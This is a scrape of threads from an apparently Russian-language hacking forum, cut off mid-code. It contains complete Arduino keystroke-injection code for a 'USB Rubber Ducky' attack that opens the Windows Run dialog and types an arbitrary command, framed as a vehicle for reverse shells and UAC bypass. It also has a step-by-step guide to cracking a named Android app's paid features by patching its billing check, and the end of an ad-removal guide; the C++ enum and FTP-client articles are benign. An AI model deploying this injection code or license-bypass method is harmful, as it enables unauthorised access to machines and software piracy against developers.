![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-8.jpg&hash=2bc1aa06b259a91bb132290701b5533b)

Может возникнуть ситуация, когда после удаления папки приложение отказывается запускаться. Тогда открываем Notepad++, нажимаем «Поиск» и выбираем «Найти в файлах», указываем папку с декомпилированным приложением, папку smali и ищем фразу «You must have AdActivity declared in AndroidManifest.xml». После завершения поиска удаляем данную строку, которая в большинстве случаев находится в файле AdView.smali. Не забываем удалить рекламу в AndroidManifest.xml , как описано немного выше.
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-9.jpg&hash=0e3c99a0518a8e2e382cefa4dfe6a45d)

Собираем приложение обратно (папку ads не удаляем!). Теперь всё должно работать нормально.

Если баннер графический, то есть картинка, то сначала удаляем всё, как обычно в AndroidManifest.xml и соответствующих папках, как было описано выше. После чего заходим в папку drawable(она находится в папке res) и находим файл баннера:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-10.jpg&hash=e3d7b8dba77eca392349d54219c894ce)

Открываем картинку и при помощи любого графического редактора (подойдет и стандартный Windows`овский Paint) уменьшем её до размера 1х1 пиксель:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-11.jpg&hash=10d08b677b2d5fe3f74a4068d9897fb1)

Сохраняем её, перезаписывая оригинал, и запаковываем APK-приложение.
-----------------------

Вторая часть "Делаем платное - бесплатным" - /threads/57304/.

Источник -https://fans-android.com/udalenie-reklamy-iz-prilozhenij

Книга по Java
ID: 6765d804b4103b69df375959
Thread ID: 51533
Created: 2021-05-08T11:08:19+0000
Last Post: 2021-10-20T12:46:22+0000
Author: LeGIoN_97
Replies: 10 Views: 2K

Помогите скачать книгу :)

USB Rubby Dick - с блекджеком и шлюхами
ID: 6765d804b4103b69df37595d
Thread ID: 56236
Created: 2021-09-03T10:21:19+0000
Last Post: 2021-10-18T20:57:41+0000
Author: dyadka0220
Prefix: Статья
Replies: 5 Views: 2K

Привет-привет, охото поделиться своей наработкой по такой теме как usb rubby duck. Для начала с теории.

Сам концепт атаки USB Rubby Duck заключается в эмулировании клавиатуры, в интернете есть куча простеньких PoC'ов
реверс шелл, обход уак (не путать с lpe), и тп. Я вам хочу представить в некотором смысле доработанную идею.
Мой код подерживает: любые раскладки клавиатуры, даже если на целевой машине нет английской раскладки, автоматическое включение NUMLOCK,
и вообще кодес прикольный вышел.

Полный код будет в конце статьи, а сейчас разберём его части.

При подключении нашей 'клавиатуры' к системе, последняя передаёт ей информацию о состоянии CapsLock, ScrollLock, NumLock, нам нужен последний,
мы проверяем включён ли он, и если нет, то посылаем сигнал о ключении, нам он понадобится дальше

C:Copy to clipboard

if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK);
delay(1500);

Тут по стандарту, открываем Run меню

C:Copy to clipboard

Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2500);
Keyboard.write(KEY_BACKSPACE);
delay(500);

Последняя часть кода отвечает за ввод символов используя Alt+(ASCII код), там всё просто, получаем ascii код символа, раскладываем его на
составные числа, и так как мы получили их в обратном порядке, то и вводим в обратном, получается реверснули реверснутое)

C:Copy to clipboard

do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
    
    delay(5);
  } while(*command != 0);

Весь код, для компиляции нужна плата Arduino Pro Micro, рублей 200 стоит, и Arduino IDE, в ide не забываем установить библиотеку HID

C:Copy to clipboard

#include "HID-Project.h"

#define PAYLOAD "cmd.exe /c echo pwned & pause"

void write_numpad_digit(int num){
  switch (num) {
    case 0: Keyboard.write(KEYPAD_0); break;
    case 1: Keyboard.write(KEYPAD_1); break;
    case 2: Keyboard.write(KEYPAD_2); break;
    case 3: Keyboard.write(KEYPAD_3); break;
    case 4: Keyboard.write(KEYPAD_4); break;
    case 5: Keyboard.write(KEYPAD_5); break;
    case 6: Keyboard.write(KEYPAD_6); break;
    case 7: Keyboard.write(KEYPAD_7); break;
    case 8: Keyboard.write(KEYPAD_8); break;
    case 9: Keyboard.write(KEYPAD_9); break;
  }
}

void setup() {
  char* command = PAYLOAD;
  
  BootKeyboard.begin();
  delay(1300);
    
  if (!(BootKeyboard.getLeds() & LED_NUM_LOCK)) BootKeyboard.write(KEY_NUM_LOCK); //enable numlock button
  delay(1500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(2500);
  Keyboard.write(KEY_BACKSPACE);
  delay(500);
  
  int _count = 0;
  int _symbols[5];
  
  do {
    int symbol = *command++;
    while(symbol) {
      _symbols[_count++] = symbol % 10;
      symbol /= 10;
    }

    Keyboard.press(KEY_LEFT_ALT);
    delay(15);
    while(_count-- > 0){
      write_numpad_digit(_symbols[_count]);
      delay(5);
    }
    Keyboard.release(KEY_LEFT_ALT);
    delay(5);
    Keyboard.releaseAll();
    _count = 0;
    
    delay(5);
  } while(*command != 0);
  delay(50);
  Keyboard.write(KEY_RETURN);
}


void loop() {
  return;
}
Модификация APK | [Часть 2] Делаем платное - бесплатным
ID: 6765d804b4103b69df375964
Thread ID: 57304
Created: 2021-10-02T14:22:58+0000
Last Post: 2021-10-08T14:30:44+0000
Author: Research3r
Prefix: Статья
Replies: 6 Views: 2K

Первая часть "Вырезаем рекламу" тут - /threads/57303/.
**-----------------------

Открываем платный функционал приложения**

1. Подготовка​

Для выполнения описанных в статье действий понадобится ряд инструментов, и главный инструмент — это Linux. Да, многие из названных далее программ могут работать и в Windows, но в любых операциях, связанных с Android и его приложениями, лучше не полагаться на детище Билли. В Linux практически все сделать проще, командная строка здесь в разы удобнее (она нам ох как понадобится), а некоторые инструменты просто недоступны для других ОС.

После установки Linux в виртуалку или второй системой сразу устанавливаем средства разработки на Java и виртуальную машину. В Ubuntu это можно сделать с помощью одной команды:

Code:Copy to clipboard

sudo apt-get install openjdk-7-jdk

Также нам нужны четыре инструмента для распаковки и декомпиляции приложений:
- ApkTool — швейцарский армейский нож для распаковки и запаковки приложений
- Jadx — декомпилятор байт-кода Dalvik в код на Java
- Backsmali — дизассемблер кода Dalvik
- Sign — утилита для подписи пакетов

Для удобства создадим в домашнем каталоге подкаталог Android и скачаем эти инструменты в него:

Code:Copy to clipboard

cd ~
mkdir ~/Android && cd ~/Android
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.2.0.jar
wget https://github.com/skylot/jadx/releases/download/v0.6.0/jadx-0.6.0.zip
wget https://github.com/appium/sign/raw/master/dist/sign.jar
wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.1.3.jar
mkdir jadx && cd jadx
unzip ../jadx-0.6.0.zip

Добавим в конец файла ~/.bashrc следующие строки:

Code:Copy to clipboard

alias apktool='java -jar ~/Android/apktool_2.2.0.jar'
alias jadx-gui='~/Android/jadx/bin/jadx-gui'
alias baksmali='java -jar ~/Android/baksmali-2.1.3.jar'
alias sign='java -jar ~/Android/sign.jar'
alias javac='javac -classpath /home/j1m/Android/android-sdk-linux/platforms/android-23/android.jar'
alias dx='/home/j1m/Android/android-sdk-linux/build-tools/23.0.3/dx'

Они нужны для того, чтобы вместо длинных и неудобных команд вроде java -jar ~/Android/sign.jar можно было набрать просто sign.

2. Вскрываем подопытного

Теперь нам нужно найти приложение, которое, во-первых, нетрудно расковырять, а во-вторых, которое несет какую-то пользу и достаточно известно. То есть брать простейшую софтину только для того, чтобы было не очень сложно разобраться в ее коде, мы не будем, а вместо этого устремим свой взор на топ Play Store. Практически идеальный кандидат на эту роль - ASAP Launcher, удобнейший домашний экран с массой полезных и неординарных функций.

Для начала пройдемся по APK без использования специальных инструментов. Для этого скачаем пакет при помощи сервиса APKPure или Evozi: копируем URL, вставляем в строку поиска на APKPure или Evozi и скачиваем.

Для удобства переименуем пакет в asap.apk:

Code:Copy to clipboard

cd ~/Downloads
mv ASAP\ Launcher_v1.16_apkpure.com.apk asap.apk

Разархивируем с помощью unzip:

Code:Copy to clipboard

mkdir asap; cd asap
unzip asap.apk

Да, APK — это обычный архив ZIP, но тем не менее он имеет четкую структуру:

  • META-INF — каталог, содержащий файлы MANIFEST.MF, CERT.MF и CERT.RSA. Первые два — список всех файлов пакета и их контрольных сумм, последний содержит открытый ключ разработчика и созданную с помощью закрытого ключа цифровую подпись файла CERT.MF. Эти данные нужны, чтобы при установке пакета система смогла выяснить, что пакет не был модифицирован и действительно создан его автором. Это важно, так как, поскольку нет возможности подделать цифровую подпись пакета (для этого нужен закрытый ключ), модифицированный пакет придется подписывать другим ключом;
  • res — ресурсы приложения. Здесь находятся иконка (mipmap), переводы строк (values), изображения (drawable), а также описания интерфейса приложения (layout). Все их можно модифицировать, чтобы изменить внешний вид приложения. Правда, файлы XML придется сначала «разжать» — для улучшения производительности они хранятся в бинарном формате;
  • classes.dex — код приложения в форме байт-кода виртуальной машины Dalvik. Обычно приложения содержат только один такой файл, но, используя директиву multiDex, разработчик может заставить среду разработки разбить его на множество более мелких для улучшения производительности или преодоления ограничения на 65 536 методов в одном dex-файле;
  • AndroidManifest.xml — манифест приложения, описывающий его структуру, включая активности, сервисы, обработчики интентов и так далее. Опять же в формате бинарного XML.

Также пакет может содержать другие каталоги, например assets (любые файлы, включенные разработчиком, в данном случае — шрифты и база данных) и lib (нативные библиотеки, созданные с использованием Android NDK).

3. Изучаем код

Чтобы разобраться в работе приложения, необходимо декомпилировать файл classes.dex.

Для этого мы воспользуемся jadx-gui. Запускаем, выбираем asap.apk и видим слева список пакетов Java, включенных в APK. В данном случае это пакеты android.support — официальная библиотека Google, реализующая поддержку функций новых версий Android в старых (например, чтобы получить Material Design в Android 4.1), com.google.android.gms — Google Mobile Services, com.nispok.snakbar — реализация GUI-элемента snakbar, а также несколько других.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2016%2F09%2F1473756856_e558_pkgs.png&hash=83aba800e80d6d10de3721cf0a476e6b)

Основной код приложения содержится в пакете com.citc.asap , именно такое имя носит и само приложение в Google Store и на устройстве. Открываем его и видим больше десятка каталогов и множество исходников Java. Наша задача — сделать приложение «оплаченным», не платя за него. Но как найти нужный файл, реализующий проверку на оплату? Скорее всего, он будет содержать в имени слово billing. Пробегаемся по исходникам в поисках нужного нам файла и натыкаемся на исходник BaseBillingFragment в подкаталоге (пакете) fragments:
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2016%2F09%2F1473756865_ebd7_basebillingfragment.png&hash=59f3ee821bf610770c30405e783fd79f)

Это очень простой класс Java, в котором есть интересный метод:

Java:Copy to clipboard

protected boolean hasPrime() {
  return this.mHasPrime;
}

Все, что он делает — просто возвращает значение поля mHasPrime, однако интересен он не этим, а своим именем. Дело в том, что платная (точнее, оплаченная) версия ASAP называется Prime, и очевидно, что метод hasPrime как раз и нужен для проверки оплаты приложения. Чтобы подтвердить свою догадку, сохраним декомпилированные исходники (File -> Save all) в каталог и попробуем найти в них вызовы hasPrime():
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2016%2F09%2F1473756880_db64_find- hasprime.png&hash=38420c0cbcb401b1b929d63fe69bc6a5)

Совпадений немного, основной «пользователь» hasPrime() — это SettingsFragment, то есть исходник, отвечающий за формирование окна настроек. Учитывая, что Prime-версия отличается от бесплатной именно тем, что в ней разблокированы дополнительные поля настроек, уже сейчас мы можем быть на 90% уверены, что hasPrime() — нужный нам метод. Скорее всего, именно с его помощью приложение выясняет, куплена ли Prime-версия. Осталось только убедиться в этом окончательно, подменив код метода на свой.

4. Вносим правки

Метод hasPrime() очень прост: он возвращает значение поля mHasPrime, которое имеет тип boolean. Нетрудно предположить, что в случае, если приложение оплачено, hasPrime() вернет true, иначе вернет false. Наша задача — сделать так, чтобы метод всегда возвращал true и остальная часть приложения думала, что приложение оплачено, и разблокировала дополнительные опции в окне настроек.

К сожалению, сделать это с помощью прямой правки исходного кода не получится: приложение нельзя скомпилировать обратно. Однако никто не запрещает дизассемблировать код, внести правки и собрать его вновь. И как раз здесь нам понадобится apktool. Дизассемблируем APK:

Code:Copy to clipboard

apktool d -r asap.apk

В текущем каталоге появится подкаталог asap. Открываем файл asap/smali/com/citc/asap/fragments/BaseBillingFragment.smali и находим hasPrime(). Декларация метода будет выглядеть так:

Code:Copy to clipboard

.method protected hasPrime()Z
  .locals 1

  .prologue
  .line 167
  iget-boolean v0, p0, Lcom/citc/asap/fragments/BaseBillingFragment;-&gt;mHasPrime:Z

  return v0
.end method

Это и есть дизассемблированный листинг, и, как ты видишь, он на порядок проще, чем дизассемблированный код нативных приложений. В целом здесь все тривиально:

  • .method protected hasPrime()Z — объявляет protected-метод, который возвращает значение типа boolean (Z);
  • .locals 1 — говорит виртуальной машине, что метод использует в своей работе один регистр (в данном случае он будет содержать возвращаемое значение);
  • .prologue и .line 167 — директивы, необходимые для отладки, на ход исполнения не влияют;
  • iget-boolean v0, p0 ... — получает значение поля типа boolean и записывает в регистр v0, регистр p0 — это нулевой параметр, он всегда равен имени класса (this);
  • return v0 — возвращает значение регистра v0;
  • .end method — закрывает тело метода.

Теперь мы должны изменить данный метод так, чтобы он возвращал true независимо от значения поля mHasPrime. Мы могли бы сделать это вручную, но проще написать новый метод на Java:

Java:Copy to clipboard

public class Test {
  public boolean hasPrime() {
    return true;
  }
}

И пропустить его через компилятор и дизассемблер:

Code:Copy to clipboard

javac Test.java
dx --dex --output=Test.dex Test.class
baksmali Test.dex

На выходе получаем следующий ассемблерный код:

Code:Copy to clipboard

.method protected hasPrime()Z
  .registers 1
  const v0, 1
  return v0
.end method

Ты уже должен сам догадаться, что он объявляет константу v0 со значением 1 и возвращает ее (в Dalvik тип boolean — это int, который может иметь значение 1 — true или 0 — false). Осталось только вставить этот код вместо оригинального и собрать пакет обратно:

Code:Copy to clipboard

apktool b asap

Пакет появится в каталоге asap/dist. Переименуем его, чтобы не запутаться:

Code:Copy to clipboard

mv asap/dist/asap.apk asap-fake-hasPrime.apk

И подпишем с помощью тестового ключа:

Code:Copy to clipboard

sign asap-fake-hasPrime.apk

В результате в текущем каталоге появится файл asap-fake-hasPrime.s.apk. Остается только закинуть его на карту памяти и установить, удалив перед этим оригинальное приложение.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2016%2F09%2F1473757041_d5e6_asap- before.png&hash=d1fc8ba378ac36d9a1c638b32fb35b5d)
_Настройки ASAP Launcher до модификаци

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2016%2F09%2F1473757062_0f23_asap- after.png&hash=afee38d4aa79475f8d1d48743a175eae)
...и после_

Выводы​

Взломать приложение для Android очень и очень просто. Да, я не спорю, нам попался удобный и простой пример для модификации, но опять же повторюсь — это весьма популярное приложение, о котором рассказывали на большинстве сайтов, посвященных Android.

Большинство других приложений вскрыть так же просто, однако есть достаточное количество экземпляров, пропущенных через обфускаторы и различные системы защиты
-----------------------

Источник -https://xakep.ru/2016/09/13/hack-android-1/

Одни из лучших способов преобразование перечислений в строки (С++)
ID: 6765d804b4103b69df375969
Thread ID: 56743
Created: 2021-09-16T13:52:24+0000
Last Post: 2021-09-22T02:53:12+0000
Author: Dido
Prefix: Статья
Replies: 2 Views: 2K

Пожалуй одна из старых и геморойных проблем, которая сваливалась на головы С++ кодеров, это как вывести на печать значения типа «Перечисления». Звучит возможно слишком утрирующее, но все же, многие С++ могли иметь с этим дело, в том или ином контексте проблемы\таски\проекта.

Забегая на перед, дать точного ответа на этот вопрос у нас тоже не выйдет. Как и всегда, слишком много факторов, ограничений, потребностей от которых зависит успех этих методов. Даже ваш Трижды любимый компилятор и тот повинен в этом)

Данная статья носит ознакомительный характер, и может походить как один из способов достижения цели, которая будет перед вами стоять при работе с перечислениями и строками.

Библиотека Magic Enum​

Magic Enum - это библиотека-заголовков, которая предоставляет статическую рефлексию перечислениям.

Вы можете преобразовывать «из» и «в» строки, и вы можете перебирать значения перечисления. Она добавляет функцию «enum_cast».

GitHub

Минуса:

  • Это «левая» библиотека.
  • Работает только в C ++ 17.
  • Для работы вам нужны определенные версии вашего компилятора (Clang > = 5, MSVC > = 15.3, GCC> = 9).
  • У вас есть еще несколько ограничений, связанных с реализацией библиотеки.

Использование специальной функции с исключением​

Статическая версия

Constexpr – толковый инструменты, который позволяет определять статические вещи. Когда его используют в качестве возвращающего значения функции, он предоставляет нам сразу «опробовать» возвращаемое значения сразу в режиме компиляции.

В этом коде я сразу заюзал исключение по дефолту.

C++:Copy to clipboard

#include <iostream>

enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };

constexpr const char* EsperToString(Name error) throw()
{
    switch (error)
    {
    case Name::Alex: return "Алексей";
    case Name::Dima: return "Дима";
    case Name::Sergey: return "Сергей";
    case Name::Ivan: return "Иван";
    case Name::Oleg: return "Олег";
    case Name::Valik: return "Валик";
    case Name::Valentin: return "Валентин";
    case Name::Masha: return "Маша";
    case Name::Nastya: return "Настя";
    case Name::Pavel: return "Павел";
    default: throw std::invalid_argument("Неверный аргумент");
    }
}

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Dima) << std::endl;

    return 0;
}

Динамическая версия

Дело в том, что несколько возвратов в функции constexpr – это стандарт C ++ 14. До C ++ 14 вы можете удалить спецификатор constexpr, чтобы написать динамическую версию этой функции.

C++:Copy to clipboard

#include <iostream>

enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };

const char* EsperToString(Name error) throw()
{
    switch (error)
    {
    case Name::Alex: return "Алексей";
    case Name::Dima: return "Дима";
    case Name::Sergey: return "Сергей";
    case Name::Ivan: return "Иван";
    case Name::Oleg: return "Олег";
    case Name::Valik: return "Валик";
    case Name::Valentin: return "Валентин";
    case Name::Masha: return "Маша";
    case Name::Nastya: return "Настя";
    case Name::Pavel: return "Павел";
    default: throw std::invalid_argument("Неверный аргумент");
    }
}

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Dima) << std::endl;

    return 0;
}

ОФТОП: До C ++ 11 можно было удалить спецификатор класса enum и вместо этого использовать простое перечисление.

Минуса:

  • Наличие нескольких возра. знач. в функции constexpr - это C ++ 14 (для статической версии).
  • Специфичный для каждого перечисления и через «чур» подробный.
  • Небезопасно в «исключительных» случаях.

Использование специальной «функции-защиты» от исключений​

Статическая версия

Порой мы выбираем код, который не рябит в глазах, и приятно читабельный. Лишние пробрасывания и прочие throw могут излишне усложнить читабельность. Вы можете написать безопасную для исключений функцию по «умолчанию» case.

Только теперь нужно следить за «error», когда нужно добавить элемент.

C++:Copy to clipboard

#include <iostream>

enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };

constexpr char* EsperToString(Name error) noexcept
{
    switch (error)
    {
    case Name::Alex: return "Алексей";
    case Name::Dima: return "Дима";
    case Name::Sergey: return "Сергей";
    case Name::Ivan: return "Иван";
    case Name::Oleg: return "Олег";
    case Name::Valik: return "Валик";
    case Name::Valentin: return "Валентин";
    case Name::Masha: return "Маша";
    case Name::Nastya: return "Настя";
    case Name::Pavel: return "Павел";
    }
}

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Dima) << std::endl;

    return 0;
}

Динамическая версия

Опять же, динамическая версия без constexpr:

C++:Copy to clipboard

#include <iostream>

enum class Name { Alex, Dima, Sergey, Ivan, Oleg, Valik, Valentin, Masha, Nastya, Pavel };

char* EsperToString(Name error) noexcept
{
    switch (error)
    {
    case Name::Alex: return "Алексей";
    case Name::Dima: return "Дима";
    case Name::Sergey: return "Сергей";
    case Name::Ivan: return "Иван";
    case Name::Oleg: return "Олег";
    case Name::Valik: return "Валик";
    case Name::Valentin: return "Валентин";
    case Name::Masha: return "Маша";
    case Name::Nastya: return "Настя";
    case Name::Pavel: return "Павел";
    }
}

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Dima) << std::endl;

    return 0;
}

ОФТОП: До C ++ 11 можно было удалить спецификатор класса enum и вместо этого использовать простое перечисление.

Минуса:

  • Наличие нескольких возра. знач. в функции constexpr - это C ++ 14 (для статической версии).
  • Специфичный для каждого перечисления и через «чур» подробный.
  • Предупреждения часто игнорируются.

Использование макросов​

Макросы могут делать многое, чего не может делать динамический код. Вот две реализации с использованием макросов.

Статическая версия

C++:Copy to clipboard

#include <iostream>

#define ENUM_MACRO(Name, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10)\
    enum class Name { v1, v2, v3, v4, v5, v6, v7, v8, v9, v10 };\
    const char *Name##Strings[] = { #v1, #v2, #v3, #v4, #v5, #v6, #v7, #v8, #v9, #v10};\
    template<typename T>\
    constexpr const char *Name##ToString(T value) { return Name##Strings[static_cast<int>(value)]; }

ENUM_MACRO(Name, Alex, Dima, Valik, Oleg, Sveta, Sergey, Valentin, Misha, Yura, Ivan);


int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Alex) << std::endl;

    return 0;
}

Динамическая версия

Очень похоже на статический, но если вам это нужно в версии до C ++ 11, вам придется избавиться от спецификатора constexpr. Кроме того, поскольку это версия до C ++ 11, у вас не может быть класса enum, вместо этого вам придется использовать простое перечисление.

C++:Copy to clipboard

#include <iostream>

#define ENUM_MACRO(Name, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10)\
    enum Name { v1, v2, v3, v4, v5, v6, v7, v8, v9, v10 };\
    const char *Name##Strings[] = { #v1, #v2, #v3, #v4, #v5, #v6, #v7, #v8, #v9, #v10};\
    const char *Name##ToString(int value) { return Name##Strings[value]; }

ENUM_MACRO(Name, Alex, Dima, Valik, Oleg, Sveta, Sergey, Valentin, Misha, Yura, Ivan);


int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Alex) << std::endl;

    return 0;
}

Минуса:

  • Юзаем макросы (не будем задвигать демагогию почему макросы bad-practice, просто если вы не знаете или не знакомы с ними вообще, просто не юзайте)
  • Вам нужно писать другой макрос каждый раз, когда вам нужно рефлексивное перечисление с другим количеством элементов (с другим именем макроса, что бесит).

Использование макросов и Boost​

Мы можем обойти недостаток «фиксированного количества элементов перечисления» предыдущей версии с помощью Boost.​

C++:Copy to clipboard

#include <iostream>
#include <boost/preprocessor.hpp>

#define PROCESS_ONE_ELEMENT(r, unused, idx, elem) \
  BOOST_PP_COMMA_IF(idx) BOOST_PP_STRINGIZE(elem)

#define NAME_MACROS(Name, ...)\
    enum class Name { __VA_ARGS__ };\
    const char *Name##Strings[] = { BOOST_PP_SEQ_FOR_EACH_I(PROCESS_ONE_ELEMENT, %%, BOOST_PP_VARIADIC_TO_SEQ(__VA_ARGS__)) };\
    template<typename T>\
    constexpr const char *Name##ToString(T value) { return Name##Strings[static_cast<int>(value)]; }

NAME_MACROS(Name, Alex, DIma, Yura, Kostik, Kolya, Sergey, Oleg, Masha, Natali , Ivan);

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Alex) << std::endl;

    return 0;
}

Здесь PROCESS_ONE_ELEMENT «преобразует» элемент в его строковую версию (вызывая BOOST_PP_STRINGIZE), а BOOST_PP_SEQ_FOR_EACH_I выполняет итерацию по каждому элементу VA_ARGS (который является пакетом параметров всего макроса).

Динамическая версия

Опять же, это очень похожая версия статической, но без constexpr или других спецификаторов C ++ 11.

C++:Copy to clipboard

#include <iostream>
#include <boost/preprocessor.hpp>

#define PROCESS_ONE_ELEMENT(r, unused, idx, elem) \
  BOOST_PP_COMMA_IF(idx) BOOST_PP_STRINGIZE(elem)

#define NAME_MACROS(Name, ...)\
    enum Name { __VA_ARGS__ };\
    const char *Name##Strings[] = { BOOST_PP_SEQ_FOR_EACH_I(PROCESS_ONE_ELEMENT, %%, BOOST_PP_VARIADIC_TO_SEQ(__VA_ARGS__)) };\
    const char *name##ToString(int value) { return name##Strings[value]; }

NAME_MACROS(Name, Alex, DIma, Yura, Kostik, Kolya, Sergey, Oleg, Masha, Natali , Ivan);

int main()
{
    setlocale(LC_ALL, "Russian");

    std::cout << EsperToString(Name::Alex) << std::endl;

    return 0;
}

Минуса:

  • Юзаем макросы.
  • Юзаем Boost.

Офтоп: Хотя библиотека Boost по-прежнему является левой библиотекой, она более приемлема и принята сообществом с++ кодеров по всему миру, чем другие библиотеки (например, ноунейм библиотека «Magic Enum» немного дичная), поэтому (среди прочего) эта версия может быть предпочтительнее первой.

Выбирайте умно и под свои нужды, ведь как я говорил, здесь много факторов и «подводных камней». Спасибо за внимание.

Пишем свой FTP клиент на С++
ID: 6765d804b4103b69df37596b
Thread ID: 56785
Created: 2021-09-17T10:29:53+0000
Last Post: 2021-09-19T09:13:19+0000
Author: Dido
Prefix: Статья
Replies: 5 Views: 2K

Перед тем как погрузимся в пучины сетевых app, сперва надо обозначить пару вещей:

  1. - Должны понимать и знать ООП С++ и работу с функциями (забегая на перед, здесь будет все реализовано в процедурном темпе)
  2. - Знание TCP/IP протоколов и принципа их работыЧитать
  3. - Понимание и знание "Сокетов" Читать

Весь код будет разбит по кускам в виде функций и подробным описанием каждой части кода. Собрать и скомпилить уже сможете и сами.
И так, FTP клиент юзает сразу два сокета ( один для конекта данных, другой для управления этим конектом). С помощью управляющей части передаются команды серверу и считываются ответы, а по коннекту мы просто передаем данные, файлы, списки файлов и много чего другого.

Как всегда, для старта мы начнем подключать препроцесорные файлы заголовков. Да сразу обозначимся, мы будем пилить его под Windows.

Header-files

C++:Copy to clipboard

#include <winsock2.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <iostream>
#include <string.h>

Кроме них, нам надо залезть в VS и в свойствах проекта - настройка компоновщика подключить еще : Ws2_32.lib and Wsock32.lib

Следующий уровень, мы устанавливаем управляющее соединение. Чтобы это сделать, мы запилим функцию init_Sock(). Конект будем воплозать по localhost ftp (127.0.0.1) на порт 21 (стандартный).

Функция init_Sock()

C++:Copy to clipboard

int init_Sock() 
{
    int len;
    sockaddr_in address;
    int result;
    int s;
    s = socket(AF_INET, SOCK_STREAM,0); //создаем сокет
    address.sin_family = AF_INET;   //интернет домен; здесь же описываем все семейство сокета
    address.sin_addr.s_addr = inet_addr("127.0.0.1");   //соединяемся с 127-0-0-1
    address.sin_port = htons(21);    // 21 порт для конекта
    len = sizeof(address); // получаем размер
    result = connect(s, (sockaddr *)&address, len);   //установка соединения
    if (result == -1) 
    {
        сerr("Увы: клиент офф");
        return -1;
    }
    return s; // все гуд, возвращем готовый и чистый сокет
}

Ура, мы установили управляющий конект с серваком. Сейчас надо будет получить и считать ответ сервера. И в этом нам поможет функция select(), которая будет чекать наличие валидных данных в потоке: А вот функция recv() - будет ждать получение данных из потока!

Функция readServerResponse()

C++:Copy to clipboard

int readServerResponse(int s)  // передаем сокет
{
    int rc;
    fd_set fdr;
    FD_ZERO(&fdr);
    FD_SET(s,&fdr);
    timeval timeout; // запилим структуру времени 
    timeout.tv_sec = 2;   // и зададим зна. 2 сек, к примеру
    timeout.tv_usec = 0;  
    do {
        char buff[512] ={' '}; // размер буффера 512
        recv(s,&buff,512,0);   //получаем данные из потока
        cout << buff;
        rc = select(s+1,&fdr,NULL,NULL,&timeout);  //ждём данные для чтения в потоке 2 сек.
    } while(rc);     //проверяем результат на валид
    return 2;
}

В данный момент наш клиент может посылать команды и считывать ответ. Вот к примеру в main мы можете задать такой алгоритм:

Функция tempMain:

C++:Copy to clipboard

int main() 
{
   int mySocket;
